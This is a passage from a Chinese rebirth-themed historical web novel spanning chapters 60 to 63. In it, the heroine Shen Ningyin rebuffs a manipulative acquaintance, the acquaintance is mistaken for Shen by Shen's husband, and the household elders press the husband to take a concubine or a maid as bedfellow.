沈宁音蹙了蹙眉。刚踏出门槛，外头的雨丝就飘到了跟前儿来。细细密密的，将院儿里的花枝冲刷得格外嫩绿。
大抵是遇着雨势弱，沈宁音在屋子里时，竟没注意到。
一行人撑着伞往门口去。
到了游廊转角，沈宁音远远儿的，就看见雨中的那一抹粉绿襦裙的女子。
走得近了，门房大惊失色：“哎哟！姑娘，您这是作甚？怎么不在屋檐下等？”
婆子手忙脚乱过去给她撑伞。
沈宁音眼里没什么波澜，瞳仁里映着陈青霜那倔强脆弱的一张脸。
雨下得越发大了，陈青霜大约是淋了许久，这会儿头发紧贴着额头，身子虽被油纸伞遮住了，可头发里积下的水，照旧往下巴处蜿蜒。陈青霜抱着胳膊，浑身裙裳被雨水一浸，都紧贴在身上，显得人更加娇小。
风一吹，她就冷得牙齿卡止不住打颤。
“你满意了？”陈青霜眼里满是委屈与愤怒
有的人就是这样，仗着别人对自己的好，不顾惜自己，以伤害自己来让别人心痛、愧疚。
若换了前世，沈宁音必定会愧疚地上去拉着她的手，哄着她，还要被她厌恨。
可现在，沈宁音只道：“陈五姑娘，你这是做什么？”
陈青霜冷得发青的脸颊一瞬间有几分苍白：“沈姐姐，你怎的这般无情？”她踉跄了几步，婆子连忙扶住了她：“我都这样了，你还没消气么？”
陈青霜挣扎着想要去拉沈宁音的手。兰香连忙上前拦住。
兰香在外头张牙舞爪的，但沈宁音的心思她却比旁人更猜得准些。
兰香大声道：“陈五姑娘，您自个儿不爱惜身子便罢了，可别弄湿了我们二少夫人的裙裳。”
陈青霜哆嗦着瞪大了眼睛，那双眸子难以置信地盯着沈宁音。这等手段，她不是第一次用。而每一次，总能惹得眼前的沈宁音自责不已。
可现在，陈青霜只能看见她眼里的冷漠，陌生得令她害怕。
沈宁音轻拍了拍兰香的胳膊，后者躬身退到一旁。
“青霜妹妹。”沈宁音的声音是一贯的婉约温煦：“我可没罚你淋雨，不知你来访，而且，我也早有命令让门房谢客，叫你改日再来。”
“门口是有廊檐的，你何须站在雨里？妹妹若喜欢淋雨，那便淋个够？”
陈青霜哆嗦得更厉害，也不知是气的，还是冻的：“沈……沈姐姐……你怎么可以……这样对我……”
“若没别的事，那我也不留你了。送客。”沈宁音无动于衷，甚至打算转身离去，这终于迫使陈青霜收起
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了自己的小心思。她惊慌失措眼泪混杂着雨水，说不出的狼狈：“姐姐等等……我……我是来替兄长道歉的。”
沈宁音顿住脚步，略略转身。
陈青霜连忙从怀里去掏木匣子，匣子已经湿透了，原本蓬松飘逸的衣裳也变得凌乱不堪。不成体统，陈青霜慌忙抬手去捂。
侯府二门是有看守的家丁的，除了府邸，也还有旁的男子，她若这样给撵回去，在陈家那等地方，怕是要吊死了事的。
沈宁音略略蹙眉，并没有去接那所谓的礼物，但也没直接撵她走。只吩咐兰香去找了一套旧衣给陈青霜。
“你就先在那边儿的廊庑换了衣裳再走吧。”顿了顿，沈宁音抬眸：“侯府有侯府的规矩，妹妹若再来，要先递了帖子才好。”疏远之意溢于言表，沈宁音转身离开。
陈青霜脸色惨白，抬头去看，薄薄的雨幕里，衣着华贵的女子越走越远，昔日里最见不得她受委屈的姐姐，真的就这么不回头地走了……
她攥紧了手里的旧衣，眼泪不争气地往下掉：“凭什么？凭什么嫁了个好夫君就可以这般得意？凭什么我只配穿你穿旧的衣裳？凭什么我要低三下四来求你原谅！”
陈青霜红着眼睛，狠狠用力，想撕烂衣裳，可是临了，她又软弱而颤抖着停下了。
她换上了沈宁音的旧衣，眼神满是屈辱。
有的人，是捂不热的。
自私到从来不会去反省，一如现在的陈青霜，她从未想过，没有沈宁音，她现在，还是那个吃不饱穿不暖的陈家庶女，即便是沈宁音的旧衣，也都是她这辈子也穿不起的绫罗绸缎。
衣裳裹在身上暖烘烘的，可陈青霜拿着礼物匣子，只觉得浑身冰凉，沈宁音原就因为上次的事情冷落了她。今儿这匣子沈宁音也不肯收，若就这么原样地带了回去，陈家主母还不知要怎样罚她。
陈青霜想起那些手段，久违的惊恐在眼底闪过。
她敢对沈宁音使手段，耍聪明，全因着沈宁音对她好，仗着人家的偏爱。而面对凶狠的嫡母和那群姊妹们，甚至陈家大院儿里的几个嬷嬷，陈青霜都只会窝窝囊囊地忍气吞声，兴不起半点反抗来。
“陈姑娘，天快黑了，您快些走吧，雨也下大了，再迟些，怕是夜路难走了。”门房的婆子看她反复揪着衣裳，分外可怜的模样，可侯府就是侯府，少夫人不留客，婆子也是不敢留着她过夜的。
“少夫人留下了一把伞。”婆子将伞递到陈青霜手里。
陈青霜手掌像是烫着了一般，收回手去。
“拿着吧。”婆子不以为意：“趁着天没黑尽，快走吧。兴许你家里接你的人，在路上了哩。”
陈青霜眼圈又红了，她抓紧了手里的木匣子。
她知道，陈家不会有人来接自己了。三哥被打得那样惨，嫡母不敢找侯府发作，只能将过错全都发泄到她的身上。
陈青霜眼里复又模糊起来。
出身卑微，就是这样被人家踩在泥潭里头。
婆子摇了摇头，转身去忙了。
好一会儿，陈青霜才鼓起勇气踏出了廊庑。雨下得很大，她撑着伞，眼泪氤氲了瞳仁，陈青霜一边擦眼泪一边往外头去。
她将将走出门口，却有一人没带着雨伞，急匆匆往府里走。
“啊！”
惊呼之后，陈青霜整个人倒在了地上，雨伞掉在了地上。
陈青霜听着那声属于男人的闷哼，她不禁心下一凉，害怕与惊惶瞬间袭上心头。
撞到了外男！若被有心人传扬出去，她怕是有嘴也说不清了！
好在，四周并没有什么人。陈青霜飞快地扫了一圈之后，才听着那男子冷冷开口：“你是哪个院儿里的丫头，这般……”
男人说到一半，愣住了。
陈青霜看清那人的脸，也愣在了当场。
60. 留客
“宁音？！”光线有些模糊，府邸还没挂着灯笼，陈青霜逆着光。秦耀阳认得那身衣裳，语气里尽是惊喜。
他三两步上前把娇软的女子抱在怀里。
震惊与错愕的陈青霜是想要推开男人的，可很快，她的手缓缓放了下去，任由男人抱着。
秦耀阳的衣裳熏着沉水香，带着侯门勋贵家的骄矜浪荡，他的怀抱温暖，俊美无俦。陈青霜想，若是能嫁给他，甚而从沈宁音手里把男人抢过来……
“宁音，我知晓错了，你莫要再气了。你这么晚了一个人是要去何处？”似乎是觉着自己说错了话，秦耀阳又压低了声音：“宁音，我不是疑了你，我只是担心你的安全。”
秦耀阳感觉到雨滴冰寒，松开“妻子”，下意识伸手要给她去挡雨，陈青霜一双美眸从下往上去看他的脸，心跳仿佛不受控制般砰砰狂跳。
“世子。”这时，长随拿着伞方才追了上来。
人一来，陈青霜那瞬间的美梦倏然碎开，她脸色一白，慌忙出声：“世子……”
秦耀阳听着那声音，顿时尴尬地推开她。
府里的人闻着动静也慌忙提着灯笼出来查看。
“没你的事。”秦耀阳接过灯笼，蹙眉将里头的人撵开。又看向陈青霜。借着灯笼的光亮，他纳罕地喃喃：“陈姑娘？”
秦耀阳有些懊恼自己：“你方才怎么不出声？我……”
“……”陈青霜的伞掉在地上，这么一会儿，衣裳倒也没湿透，女子两只手揉搓着衣角，抬头仰望着男人。一双眼睛泫然欲泣，在雨中愈发湿润，说不出的楚楚可怜。
秦耀阳看着她的眼睛，一时再说不出旁的话来：“罢了。”
秦耀阳从年少起，眼里就只得周婉一个，老夫人又是个厉害的，将他这独苗苗护到了骨子里，哪里见过这些个手段？
陈青霜从小身处陈家那样的环境，示弱、求怜最是擅长，沈宁音前世也是怜她，才对她格外好的。
“青柳，你带她去客房歇息。”秦耀阳吩咐长随。
青柳神色有些迟疑：“世子，要不要先去回少夫人？”
“不必。些许小事，犯不着扰她歇息。”秦耀阳摸了摸鼻子，有些心虚。
他委实是怕再去吃一回沈宁音的闭门羹。再者，将才把陈家姑娘错认了，要是这么大的雨，再把人给送走，秦耀阳心里也过意不去。
青柳便领着陈青霜往厢房去。
秦耀阳抬眸，但见那陈青霜回头看了自己一眼，蓦然露出些依恋与羞赧来。
秦耀阳看着她离开的方向，良久，蹙眉低叹了句：“莫名其妙。”
侯府这等地方，秦耀阳留个客人过夜，原是正常事儿。秦耀阳也没多在意。
可他留的，是个女客，这本该是主母来做的事儿，再加上陈青霜又是个未出阁的女子。这意义可就不一样了。
沈宁音听到这消息也是皱起了眉头。
“少夫人，这才刚成婚，世子爷就把人往厢房送……若叫人知晓的话……”兰香很是担心。
沈宁音拆着云髻的手略顿，只将朱钗放到了桌子上，语气很淡：“咱们这样的人家，哪里能有一心一意的？”
况且，秦耀阳本就有个心尖尖上的寡嫂了，便是要一心一意，也不是对自个儿。
她不爱自己的夫君，便能冷心无常，谁都能容下，又谁都能摁住。
“方嬷嬷呢？”她问。
兰心回禀道：“奴婢跟她说您歇下了，她盘桓了一阵，天黑尽，方嬷嬷便也先回屋了。”
“她倒不是个倔的。”沈宁音轻笑，抱着兰香递过来的汤婆子躺下：“睡吧，赶明儿说不得还有许多事要忙。”
祁秀院风平浪静，可兰心居又是另一番景象。
周婉一把抓起手上的茶盏要往地上砸。一旁的婆子连忙拦住：“使不得！”
“你放开！”周婉咬牙切齿。她一想到那根白发，便念及自己年华老去，如今秦耀阳竟亲口留了一位女客，似乎还是个官家小姐。
而今，她的儿子竟成了个亲戚之子，甚至不能名正言顺承袭爵位。
剧烈的危机与委屈感始终萦绕着她，仿佛一只无形的大手掐得她喘不过气来。
嬷嬷见周婉执意如此，只得开口：“你砸吧！这可是世子爷喜欢用的那只茶盏。”
嬷嬷松开了手，周婉面容扭曲将茶盏高高举起，却怎么都下不了手砸。
周婉将茶盏扔到桌上，突然哭了起来。
往日里，她一哭，男人不论多晚，只要她喊，秦耀阳就会赶过来哄着，亲着，安慰她一整晚。
可如今，她竟连男人的身也近不得。抱着她的，只有嬷嬷苍老褶皱的手。
“主子，莫哭，您还有哥儿，还有周家。”
嬷嬷是秦齐的奶嬷嬷，照顾着秦齐长大，也是周婉在娘家的时候伺候着的老人了。可是当嬷嬷说出周家两个字时，周婉就想起了那一晚姐姐的话。
【婉儿，你太废物了，简直蠢笨如猪！倘若齐哥儿不能继承昌平侯府，不能得到军权，那么你还有他，于家族而言，还有什么用？周家绝不会再护着你！你可要抓紧了。】
周婉的手掌一寸一寸握紧，松开嬷嬷，抬手擦拭眼泪。
“你说的对，我还有哥儿呢。我的齐哥儿，一定能继承侯府的。”
一定可以！
彻夜安平，府邸的灯笼熄灭，仆婢们尚未起床洒扫。
表面上一如往日般宁静。
可此时，沈宁音已在雨后潮湿的黎明前领着人推开了厢房的门。
“啊……”半梦半醒间的女子惊醒，沈宁音挥了挥手示意女婢们上前给陈青霜穿衣裳。
“你……你要做什么？”陈青霜满脸地惊慌，看着沈宁音的目光里分外害怕。
“妹妹无须担心。”沈宁音声音不见半点怒气，甚至可以说得上温柔：“你穿戴妥帖后，我会让下人送你回青衣胡同。”
陈青霜闻言，这才停止了挣扎。
等穿戴好，陈青霜捋了一下发丝，满脸写着防备。
陈青霜原本只是旁观者，一个旁观者看着秦耀阳这样优秀浓俊的矜贵郎君疼爱自己的妻子，会羡慕，会不甘，但她始终只是局外人。
可是陈青霜被他错认了。
就那么一次，她觉着，此前所有的人生都像是泥沼，唯独那人的怀抱才是救赎，被那样的人抱着，她才真实地感受到了爱的滋味。
正因为尝过了滋味，陈青霜才觉着，眼前的沈宁音什么都有了，她除了孩子，拥有了富贵、夫君的爱、长辈的放权。换位思考，陈青霜绝
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不会放过想要夺走夫君之人！
沈宁音看了她一眼，却出乎陈青霜预料地起身，淡淡吩咐：“好了，趁着天没亮，送她回陈家。”
不放心，沈宁音脚步略顿，微微偏头又吩咐了一句：“遮着脸，莫叫人看了去。”
陈青霜觉得万分不可思议：“你……你不为难我？”
沈宁音已经走出了门，听见了陈青霜的话，但她并没有回答。
这是沈宁音最后一次帮她。陈青霜前世的结局甚为凄惨，今生，陈大人升了官，正五品的官宦之女，好生爱惜名声，便是送出去联姻，陈家那位主母也不能再像前世一般几百两银子将陈青霜卖给老头做个侍妾。
若安分些，做个青年才俊的正头娘子也未为可知？
等到兰香回来复命，说是把人送回了青衣胡同，沈宁音这才略点了点头。此事她原也不必那么上心的。
陈大人靠着的，就是侍郎府与昌平侯府，前日，陈守岳得罪了侯府，如今，陈大人若想攀附秦家与沈家，全都系于沈宁音一人之手。
陈大人不是蠢货，没有沈宁音点头，绝不敢直接将女儿送过来侯府碍眼。
沈宁音只盼着陈青霜长点脑子，守口如瓶，若然张扬出去，她怕是要倒霉了。
用过早膳，祁秀院也不见秦耀阳过来问询。沈宁音原以为秦耀阳留了人过夜，怕是起了心思的，没料想，他竟跟忘了安置陈青霜这个人一般。
“少夫人，方嬷嬷来了。”染竹恭恭敬敬地进来禀告。
沈宁音微微挑眉，淡淡道：“叫她进来把。”昨儿晾着方嬷嬷一宿，却也不能一直晾着。
染竹却没走，又道：“她身边儿还跟着陶妈妈。”
陶妈妈是闵氏的人，如今与方嬷嬷一块儿来，想必是松鹤堂那边儿要有说法了。
沈宁音面上不显，从桌案后站起身。
果然，陶妈妈是过来请沈宁音去松鹤堂的。
沈宁音理了理衣裳，欣然前往。
兰香很是紧张，半路上寻了个机会凑过来小声说：“少夫人，这可怎么办？老夫人那边定是有不好的说法……您就一点儿不担心？”
“担心有何用？”沈宁音见惯了风浪，知晓一个道理：“兵来将挡水来土掩。”
松鹤堂内，几个人满面愁容。沈宁音穿过垂花门走到屏风边儿的时候，老夫人正叹气。见她来，老夫人便换了张笑脸：“宁音，来，坐祖母身边儿来。”
她招呼着沈宁音与她并排坐在上首，一旁闵氏的脸色已经黑如惨云。
沈宁音敛衽行礼，最后挨着老夫人坐在她下首：“祖母，孙媳坐这儿就可以。”
做主母的，若是正式场合，要主持宴席，坐在上首没什么错处，但私底下，却不能越过了婆母去。
沈宁音心里知她是在试探，进退有度，礼仪周全。老夫人看在眼里，暗暗点头。越看，就越觉得叹息。
这样好的规矩，比起周婉，也是要胜过不少的，若是能生下侯府嫡长子，也算不错。可偏偏自个儿的孙子又……
闵氏的脸色稍稍好转，等老夫人点了头，她才坐到了罗汉床另一边。
“宁音，这次找你来，也是为着你屋里的事儿……”
老夫人将将开口，便听见外头有人喊：“世子爷来了。”
61. 纳妾
秦耀阳绕过屏风，目光先就落在了沈宁音脸上。他是为着沈宁音过来的。
行完礼，老夫人就看着他道：“昭儿，你来得正好，今儿可巧说到你了。听说你昨夜留了个姑娘？”
秦耀阳听了这茬，愣了一下方想起来此事：“哦。是刑部员外郎陈大人的女儿。”
沈宁音此刻低着头，也没看他，脸上很平静，瞧不出表情。秦耀阳似乎是意识到了什么，连忙跟老夫人解释：“昨儿下着雨，天又黑了，我不过是留她在厢房歇上一晚……”
秦耀阳蹙眉，忙扯了套说辞：“她一个姑娘家，自己回去，很不安全。”
老夫人听罢，眉头略皱，闵氏某些方面不中用，但这会儿却回过味儿来了。
“陈大人的女儿？”闵氏又问了一句。
“是。”秦耀阳看向闵氏。
沈宁音没吭声，她知晓，此刻的老夫人跟闵氏都在心内衡量。刑部员外郎是实打实的京官，虽不及侯门宗亲显贵，却是个握着实权的。
这样的人家，哪里能将自家的女儿送来侯府做妾？
“若是个小门小户倒也罢了，这样的人家，怕是不好办。”闵氏沉不住气，嘀咕了出来。
“不是……”秦耀阳越听越糊涂，走到沈宁音旁边儿落了座：“祖母、母亲，要办个什么？”
秦耀阳抿了口茶，开口道：“那姑娘是先前那个金吾卫陈守岳的妹妹，与宁音相熟。”
老夫人听闻是沈宁音认识的，目光探究地看向她：“哦？”
“祖母，是真的，她就是过来赔礼道歉的。”秦耀阳叫长随将准备好的木匣子拿了上来：“喏，就这个。”
沈宁音一瞥，就认出来，那木匣子正是昨日陈青霜的那个。
“里面是个什么？”闵氏问。
秦耀阳被问着了，这木匣子其实是昨儿青柳带回来的，因那时候秦耀阳已在书房歇下，青柳问及如何处置时，秦耀阳没睁眼，就随口吩咐先放着。
等早上秦耀阳才知晓了来历，那时候他甫一听闻沈宁音出了院子，便紧赶着过来了。
所以，秦耀阳其实并不知道里头有什么。
“宁音。”秦耀阳将木匣子搁在桌上，往沈宁音的方向推了一小段：“既是来赔礼，这东西应该是给你的，你打开看看？”
沈宁音眉头微蹙，很是无语，她那日在春阙街差点儿给人害死，她是断断不能收这个礼的。
那日，听说陈守岳被侯府狠狠打了一顿，她看在陈大人的面上，没暗地里去下死手已经足够给脸面了。沈宁音什么话也不说，就这样让陈青霜原封不动地退回去，陈家就算是欠着她沈宁音一个人情的，沈宁音可以随时去讨。
可如今秦耀阳竟将东西接了，沈宁音往后想再多换些好处、多得些让步，也就不能了。
沈宁音沉默了两个呼吸，才伸手去抽匣盖子。东西都收了，要退回去就是打秦耀阳的脸，更落侯府的脸面。不能退，便只能接着。
盖子一开，里头就泛出些金色光晕来。
“观音像？”闵氏直接被这美轮美奂的菩萨雕像给晃花了眼。
那菩萨宝相庄严，眉眼慈悲，怀里抱着个小儿，立在莲台之上。
这是用纯金打造的送子观音像，周遭还嵌满了各色宝石。因宝华光盛，一旁伺候的仆婢们都忍不住抻长脖子观望。
连沈宁音都颇觉意外，宝石可是西域苦寒之地费尽人力方能挖出来的，在上京，几乎有价无市。
陈大人刚升了从五品官，哪里舍得掏这么多钱？而且陈守岳自是不能告诉父母春阙街他抛下沈宁音之事的。若侯府没人去过问，陈家也只
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是知晓陈三郎惹了侯府不快。
便打得再狠，也不该这么钱多烧得慌啊？
“是送子观音。”老夫人的声音从上首飘下来。沈宁音回过神，松开了手。
“看来的确是送与你的。”老夫人话罢，又问沈宁音：“你既然与那位陈家姑娘相熟，可知晓那姑娘是嫡出还是庶出？”
沈宁音将袖子里的帕子攥紧了些，温声回答：“是位庶出姑娘，在陈家行五。只是她姨娘已经殁了。妾身想着，我自小也没了亲娘，以己度人，便多照拂了几分。”
一听是个庶出，闵氏眼睛就亮了亮。
那就是有门儿，闵氏原想要多问两句，偏这会儿老夫人在，还轮不到她说话。她只得打起精神认真听着。
老夫人手里的菩提珠子拨得略快了一分，又问：“可知她品性如何？”
沈宁音回答得甚为恭敬，毫无破绽：“青霜妹妹与我在一起时，尚算可爱温柔。”
她只说两人在一处时如何，旁的时候，便有旁的说法，沈宁音回答得滴水不漏。
“祖母，你问那陈五姑娘做什么？”秦耀阳皱紧了眉，他隐约猜到了些意味，站起来走到沈宁音身边。
“没你的事儿。”老夫人皱眉，手往下压：“快回去坐。”
“可是……”秦耀阳要再说什么，便听老夫人继续对沈宁音道：“你也知晓，你夫君已经二十有六，如今膝下还没个子嗣。”
老夫人语重心长：“你是个贤惠的，该有容人之量。如今昭儿他既已成亲，屋里多些人，也好替你分担分担。你说是与不是？”
沈宁音抬眸，她就知道今儿方嬷嬷从松鹤堂过来，那么老夫人那边必定有所敲打的。
没料想竟是在这儿等着呢。
老夫人目光如炬，牢牢盯着沈宁音的眼。
62. 试探
沈宁音最近的表现可谓是蒲苇韧如丝，瞧着是个软和的，可偏不受摧折。
打了大批府院里的老人，冷着方嬷嬷也便罢，做主母的，雷霆手段尚能得句夸赞。可她还将夫君拒在祁秀院外头好些时日，这就太不懂事了。
她这般不知深浅，老夫人哪里能纵着她？
闵氏清楚老夫人话里头威胁的意思，看向沈宁音的眼神轻蔑里带着点复杂。即便是闵氏这个做儿媳的，也没有新婚不足月，夫君处就给塞过去女人的。
众人都料想，沈宁音是侍郎府嫡千金，定容不下此事，必得服软，多哄着夫君。她若闹起来，老夫人也好拿捏她。
世子爷对二少夫人的疼宠府里所有人都看在眼里。她沈氏最大的倚仗，不就是男人么？
沈宁音站起身，语气却不见半分慌乱，温柔软和：“祖母所言极是。”
“你不反对？”老夫人拨着珠串的手一顿，眼神里颇有些意外。闵氏则很吃惊。
沈宁音露出个温婉的笑：“世子若有喜欢的，妾身自不会拦着，纳回来便好。不过……”
听着她话锋有变，老夫人蹙了蹙眉：“不过什么？”
沈宁音道：“总要先问过青霜妹妹自己的意思。”
陈大人好歹是个刑部员外郎，若陈青霜自个儿拒绝，那便最好，也省得由陈家来推拒。沈宁音不怕分宠，秦耀阳所谓的疼宠不过是外人眼里的假象罢了，她只是要给陈青霜一个机会。
一个拿捏命运做正头娘子的机会。
“父母之命，媒妁之言，她一个女儿家，听话待嫁就是。”闵氏很不赞同：“陈家姑娘嫁过来是贵妾，我的昭儿难道还配不上她一个没有亲娘倚仗的庶出么？”
闵氏的话很有些不客气，老夫人听着直皱眉。
这时，秦耀阳突然出声：“荒唐！”众人瞧过去，看见他脸上带着愠怒：“我何曾说过看上了她？”
“昭儿？”老夫人惊愕地看向孙儿。
“我没喜欢那位陈姑娘，也不会娶她！祖母、母亲！你们就别乱张罗了。”秦耀阳语气烦躁，他这样的态度叫所有人大为震惊。
他转头对上沈宁音：“宁音，你是不是也这样想？”
沈宁音眸光低垂，长长的眼睫在瞳仁上覆下浅淡的阴影，整个人是安安静静的美好模样。
沈宁音没说话，秦耀阳呼吸略滞，肉眼可见更烦躁了：“我不会纳她！你们就死了这条心吧！”
闵氏难得瞧见自家儿子这等态度，上一回他这样，还是几年前老夫人罚了他那位寡嫂。闵氏忙上前安抚儿子。
老夫人叹了口气：“好好好，罢了就罢了。”
秦耀阳越是这样，老夫人越是料定孙儿对沈宁音有所不同。沈宁音表面温软，其实骨子里强悍得紧。若说老夫人因着沈宁音最近的表现和手段颇为看重。那么，她有多看重就会有多提防。
秦耀阳是被宠着长大的，老夫人明白，这个孙媳秦耀阳拿捏不住。她决不能容沈宁音专宠。
闵氏在一旁恨铁不成钢，看向沈宁音的眼神刀子似的。这才刚嫁过来，就把她儿子迷成这样，闵氏拉着儿子：“媳妇不让你进屋你都死心塌地的，这往后还了得？我真是白疼你了！”
老夫人闭了闭眼，捏着佛珠的手微微用力，像是下定了某种决心，语气却是轻飘飘的：“昭儿既然不喜欢陈姑娘，那另纳一个就是。”
秦耀阳都惊了。
“我屋里有几个大丫鬟伺候得还算周到，昭儿，你随便儿挑一个过去抬了。”老夫人话虽轻，却是沾着些严厉的：“想来你媳妇也不会反对。”
沈宁音自然不会出声反对，前世的冷元景那么多女人，尤其入了上京，冷家后院儿里也不乏一些官员嫡女，她照旧整治得没人敢擅动。
一个丫鬟抬的姨娘罢了，很好拿捏。
“祖母做主就是。”沈宁音答应得干脆。
可她答应了，秦耀阳不干：“我不挑！”态度倔强，他绕开闵氏，对老夫人道：“宁音才嫁过来不足一月，这就纳妾抬姨娘，祖母，我不答应！”
老夫人没料想孙儿会说出这般话来，不禁默了默。但也只是沉默了片刻，这妾是一定得纳的，老夫人抬眸，对上沈宁音：“那就从宁音你院儿里挑一两个，你亲自挑。主母贴身的丫鬟，抬做通房，也是旧例。”
老夫人又看向秦耀阳：“通房也不是姨娘，碍不着你媳妇的体面。”
非但碍不着半点，又是自己手底下出来的人，寻常权贵家的主母遇着这样的情况，那是巴不得的。
这也算是老夫人看在秦耀阳面上的让步了。
沈宁音袖子里的手指一紧，她又想起了前世。
前世的染竹，就是这么给冷元景要了去的。染竹还是个姨娘，不是通房。男人的新鲜劲儿过去，便扔到了一边，前世的染竹连个孩子都没有。
“昭儿是世子，往后身份贵重，将来若是丫鬟们得了子嗣，也是一场大造化。吃穿用度的，也能好上很多，她们只会感念你们夫妻的恩典。”闵氏说话的时候，眼神里尽是嫌弃与讥讽。
她就是故意说的，老夫人这样强势的人都肯让步，闵氏是心里不舒坦的。她不舒坦，就不想叫沈宁音舒坦，总要在儿媳的心里埋些刺，种些隔阂。要叫沈宁音一辈子想起来都膈应。
但闵氏也不认为沈宁音会拒绝。毕竟自己的奴婢，即便给秦耀阳收房了，奴婢能不能承宠，要不要伺候男主子，还不是她沈宁音说了算？
她大可以只给个通房的名分。丫鬟能涨月钱，她得个不嫉妒的贤名，还不用担心丈夫的疼宠给分走。
闵氏都能想到的事，沈宁音自然也能想到。
可是就在众人都以为她会下这个台阶时，沈宁音却收了一贯的笑，她袖中的帕子用力攥紧，淡声道：“此事，容孙媳去问上一问。”
她没有立刻答应。
老夫人给了台阶，沈宁音还不肯点头，算是不给脸面了。
老夫人的脸色一瞬间就沉了下来。闵氏面上大惊，她一个旁观的都瞧得有些不知所措了。
沈宁音知道轻重，正因为知道，她才非得驳了去。旁人如何，她顾不得，但染竹与兰香是底线。就算忤逆老夫人毫无好处，只有无尽的麻烦，她也在所不惜。
气氛至此，再说下去也是惘然。沈宁音告了退。
等走出松鹤堂，身后的秦耀阳跟了出来。
男人拦在沈宁音面前：“你怎么回事？有什么事儿不能回了祁秀院再说的？你便答应下来，于你我也没什么坏处吧？”
“我也不会就当真就……”秦耀阳见她不吭声，放软了声气儿：“宁音，丫鬟们抬了姨娘，也算是有了归处，往后会有更好的生活，只是个名分罢了。”
只是个名分？沈宁音抬起眼，眼睛有些红：“世子，于你来说只是名分，于一个丫头，那便是一辈子。”
沈宁音说完，绕开他就走。
秦耀阳堪堪愣在原地，沈宁音红了的眼睛，他看在眼里，记在心里，竟怎么都挥散不去。
回眸去看，沈宁音走得极快，不一会儿就消失在抄手游廊尽头。
这时，周婉不知什么时候来的，突然轻声开口：“耀阳？”
听到周婉的声音，秦耀阳着实吃了一惊。
秦耀阳不知她听了多久，更不知她听了多少：“婉儿……你来这做什么？祖母不是叫你禁足了？”
在这样的情况下，他见着周婉，心底深处，竟有些心虚。
秦耀阳昔日从不曾这般说过周婉，她但凡被罚了，秦耀阳比谁都着急。可如今，院儿里的花树依旧，她挨了罚，男人没有呵护轻哄，竟将禁足说得如此轻飘，仿佛在说旁人。
周婉捂着心口，整颗心都恍若被切割一般痛。眼圈都红了。
可是没来由地，秦耀阳竟下意识将周婉此刻的红眼与沈宁音作比。
明明将才妻子红了的眼圈叫他动容，
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可此时此刻，自己呵护了多年的女人就站在面前，他心下却生了不耐。
这不耐的情绪一旦起了，便压抑不住地滋生，秦耀阳死死地掩下这叫他不安的情绪，竭力维持着与从前别无二致的微笑：“婉儿，我没有怪你的意思，只是这里人多眼杂，你来见我，怕是不好。”
周婉听了这话，手心握得更紧，她想走的，可生生忍住了，上前拉住了秦耀阳的衣袖。“耀阳，你许久没来兰心居了，我若不来，又怎能见到你？”
周婉鼻子泛酸，越说越委屈。
秦耀阳情绪来得快，去得更快，周婉的眼泪一掉，他便又心软下来，抬手忙握住了周婉的柔荑，又给她擦眼泪：“婉儿，别哭，有什么事儿你尽管说，都是我不好。但你也知我的心意，我对沈氏，只有敬重。”
周婉跟了他多年，最知秦耀阳的眼神代表着什么意思，曾经贴身伺候秦耀阳的丫鬟被周婉使手段发卖之前，他也是那么看着那贱人的。
“我知道，我相信你。”周婉露出个笑，仰望着男人，仿佛把他当成了天。这等模样，秦耀阳最是受用。
果然，他的笑意真心了几分。
周婉任由他拉着手，软声道：“我来是想问问你，齐哥儿怎么办，他都六岁了，再不开蒙便更迟了。”
世家大族的儿郎开蒙早，往往四五岁便教他们认字。只是六七岁时正式拜师，会挑一位有名望的学士。若能拜上大儒，那就更好了，四海的显贵都能攀上些师出同门的交情。
秦耀阳虽行事荒唐，也没有科举读书的兴致，但这些基本的见识，他也是有的。一听周婉这样说，秦耀阳的神色就认真了起来。
“要不，把他送去我周家的族学里拜师？”周婉试探了句。
“不可！”秦耀阳想也不想就拒绝了，他蹙着眉，神色严肃：“齐哥儿是我秦家子，岂能入周家学？”
他可以宠着周婉，更可以宠着秦齐，唯独这个不行。
“此事休要再提。”秦耀阳松开了周婉：“况且，宁音是个贤惠的，劝一劝她也就好了，她如今掌着中馈，便是要请，也不能绕过了她去。”
周婉垂眸半晌，才应道：“好。”
祁秀院内，众人有条不紊。
沈宁音端坐在罗汉床上绣花，只是心思全然不在手中的绣绷上。
兰香在屏风那边小声说着些闲趣，说予染竹听。譬如哪里的丫鬟吃了挂落，谁房中又出了乱子。
林林总总，正说到哪家的丫鬟配了人。
沈宁音起先就想了许久，闻此，蓦然问：“你们可想要给世子做个姨娘？”
兰香连忙绕过屏风跪到了沈宁音跟前：“少夫人……奴婢可是说错话了？”染竹也跪了下来。
沈宁音笑着道：“起来吧，我就是多嘴一问。”她叹了口气，将绣绷放到一边，又拉着兰香与染竹的手道：“你们都是伺候我多年的，我自也要问你们的想法。”
这么一路，沈宁音也想明白了，秦耀阳与冷元景到底是不同的，他身份矜贵，圣人隆恩，延爵位一代，将来他也还是个侯爵。
做他的姨娘，哪怕一辈子没有宠，也断没有吃苦的时候。
沈宁音不愿两个丫头做姨娘，不为争宠，只为着她们将来能做个正头娘子。她自己的人，便要靠着自己给她们好日子。
谁说女人要过得好只能靠着男人？
她也可以。
“少夫人，我才不做什么姨娘呢。我要一直跟着少夫人。”兰香想着秦耀阳时，一脸的嫌弃，只挽着沈宁音的胳膊撒娇：“奴婢一辈子不嫁，要永远跟着少夫人！”
沈宁音心中熨帖，前世，她鞭长莫及，叫这丫头在侯府给人磋磨死了，今生，她绝不会让历史重演。
沈宁音摸了摸兰香毛茸茸的发髻，转眸看向染竹。
染竹却迟迟没有说话，似乎在发呆。
沈宁音心下不免疑窦，她面上不显，只柔声询问：“染竹，你呢？”
63. 寻师
染竹一下子反应过来，手指攥着帕子：“奴婢也不想做世子的妾室。”她垂眸摇头。
沈宁音闻言，稍稍松了口气。大丫鬟自爱，这是她最盼着看到的。
“我那妆奁盒子里有几样散碎的头面首饰，你们去挑两支喜欢的。”沈宁音也算没白疼她们一场。
染竹与兰香一人挑了一对耳环，沈宁音又各多赏了两支朱钗。对自己的人，沈宁音素来大方，这些首饰都是从嫁妆里头挑出来的好东西，就连寻常人家的小姐都不一定能从府里淘换出来一样，沈宁音给丫鬟一赏就是三件。
外头的风吹得大，开着窗户的时候，朔风一刮，就呜呜咽咽地怪声。
兰香忙去关窗户，小丫鬟素手麻利地将牖窗拉拢，无不担忧地叹口气：“少夫人，这方嬷嬷怎的还没回来？您都回来这么久了……”
沈宁音有些沉默。
她如今怕是惹了老妖婆的不忿，松鹤堂那边估计正等着她自个儿渡劫呢。
